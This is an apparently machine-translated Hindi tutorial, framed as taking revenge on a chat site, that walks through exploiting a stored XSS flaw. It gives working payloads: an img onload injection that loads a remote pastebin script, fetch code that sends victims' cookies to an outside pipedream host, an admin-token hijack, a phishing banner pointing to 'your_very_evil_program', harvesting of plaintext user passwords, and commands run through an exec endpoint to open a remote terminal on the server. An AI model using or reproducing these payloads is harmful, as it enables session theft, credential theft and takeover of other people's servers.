😟 🖐️ 🥕 एक्सएस कमजोरियों को उजागर करना 🤘🏾 🚎 🈲

एक्सएस कमजोरियों को उजागर करना

यह लेख xss भेद्यता के उपयोग का वर्णन करता है:

टोकन चोरी
पर्यावरण की चोरी
साइट सामग्री परिवर्तन
होस्टिंग सिस्टम तक पहुँच प्राप्त करना

प्रागितिहास

तो, आप चैट पर गए, आप नाराज थे, और अब आप बदला लेना चाहते हैं। जैसा कि आप संवाद से देख सकते हैं, आप आसानी से html भेज सकते हैं, जो कि xss के लिए एक आदर्श अवसर है, वास्तव में आपको इस तरह की खामियों पर ध्यान देने की संभावना नहीं है।

स्क्रिप्ट चलाएँ

हमारे पास HTML भेजने की क्षमता के साथ एक चैट है। तो चलो xss कंसोल की संभावना की जांच करें। console.log('XSS stage 0') और यह काम नहीं किया।
मामला क्या है? क्रोमियम और फ़ायरफ़ॉक्स, innerHTML माध्यम से जोड़े गए स्क्रिप्ट को अनदेखा करते हैं।
ठीक है, दूसरा तरीका आजमाएं

 <img src="https://picsum.photos/200/200" onload="console.log('XSS')" />

कंसोल में प्रदर्शित XSS का अर्थ है कोड काम किया

अब पास्टबिन पर हम एक स्क्रिप्ट बनाएंगे जिसके साथ हम खेलेंगे
स्क्रिप्ट सामग्री:

 console.log('Script loaded')

स्क्रिप्ट को ऑनलोड विशेषता में चलाने के लिए, लिखें:

 s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)

और अब भेज रहा हूं

 <img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />

सभी प्राप्तकर्ता चित्र देखेंगे और स्क्रिप्ट चलाएंगे

रोब कुकीज़

स्क्रिप्ट को लोड करने के साथ, हमने इसे समझ लिया, अब हम ऑपरेशन शुरू करेंगे। सबसे पहले, डेटा को कहीं भेजने की आवश्यकता है, हम अनुरोध का उपयोग करेंगे

 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "name": "Yoda" } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("[URL]", options)

लेकिन सिर्फ एक ही पाठ भेजना दिलचस्प नहीं है, चलो कुकीज़ भेजें

 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "cookies": document.cookie } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("https://en9uiweslksnu.x.pipedream.net", options)

उपयोगकर्ता की पहचान करने के लिए कुकीज़ में टोकन होते हैं।
अनुरोध में, हमें दो टोकन के साथ दो अनुरोध मिलते हैं:
-1067197389
1679211939
चूंकि मेरा टोकन 1679211939
तो टोकन -1067197389
एक व्यवस्थापक टोकन के साथ अपना टोकन बदलकर, हम उसकी ओर से लिख सकते हैं

सामग्री परिवर्तन

एक व्यवस्थापक के रूप में लिखना मजेदार है, लेकिन चलो साइट की सामग्री को थोड़ा बदल दें। हमारी दुर्भावनापूर्ण लिपि में ऐसी पंक्तियों को जोड़ना

 let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')

जब हम व्यवस्थापक की ओर से ऐसी तस्वीर भेजते हैं, तो सभी प्राप्तकर्ताओं को एक बैनर प्राप्त होगा, जिस पर क्लिक करने पर हमारे /your_very_evil_program ओर जाता है

पर्यावरण की चोरी

यह व्यवस्थापक पैनल तक पहुंचने का समय है। और इसलिए जाँच करें कि क्या /admin पर स्थित है और वहां हम ACCESS DENIED. BURN IN FIRE द्वारा मिले हैं ACCESS DENIED. BURN IN FIRE ACCESS DENIED. BURN IN FIRE , ठीक है, कुकीज़ में व्यवस्थापक टोकन स्थानापन्न करें। और फिर, उपयोग से इनकार किया जाता है, जिसका अर्थ है कि प्राधिकरण किसी अन्य तरीके से होता है। तो हम एडमिन मशीन से एडमिन पैनल मांगते हैं।
बुराई स्क्रिप्ट में जोड़ें:

 const admin = await (await fetch("/admin")).text()

और फिर व्यवस्थापक मूल्य को शरीर में भेजते समय, हम /admin डेटा प्राप्त करते हैं

हमें एडमिन कोड मिलेगा

 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html>

इससे क्या सीखा जा सकता है:

एंडपॉइंट /users जो /users को लौटाता है और स्वीकार करता है
क्या समापन बिंदु /exec?cmd कार्यक्रम चलाने वाले /exec?cmd
दोनों समापन बिंदु हमें एक्सेस नहीं देते हैं। इसलिए /users खींचने का प्रयास करें

 { "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" }

तो अब हमारे पास सिस्टम के सभी उपयोगकर्ताओं का पासवर्ड और लॉगिन है और अब हम व्यवस्थापक के तहत लॉग इन करते हैं, हमें व्यवस्थापक पैनल तक पहुंच प्राप्त होती है, और कुकीज़ में http-only कुकी दिखाई देती है जो इसे एक्सेस करने की अनुमति देती है

सिस्टम तक पहुँच प्राप्त करना

जैसा कि आपको याद है, हमारे पास एक समापन बिंदु है जो कमांड चलाता है, इसलिए अब हम जो चाहें कर सकते हैं, लेकिन इसका उपयोग करने के लिए बहुत सुविधाजनक नहीं है, इसलिए हम सर्वर पर किरकिरा हो जाएंगे
अब सेट /exec?cmd=npm%20i%20gritty%202%3E%261
और रन /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
और पोर्ट 8022 पर, किरकिरा टर्मिनल हमारे लिए उपलब्ध हो जाता है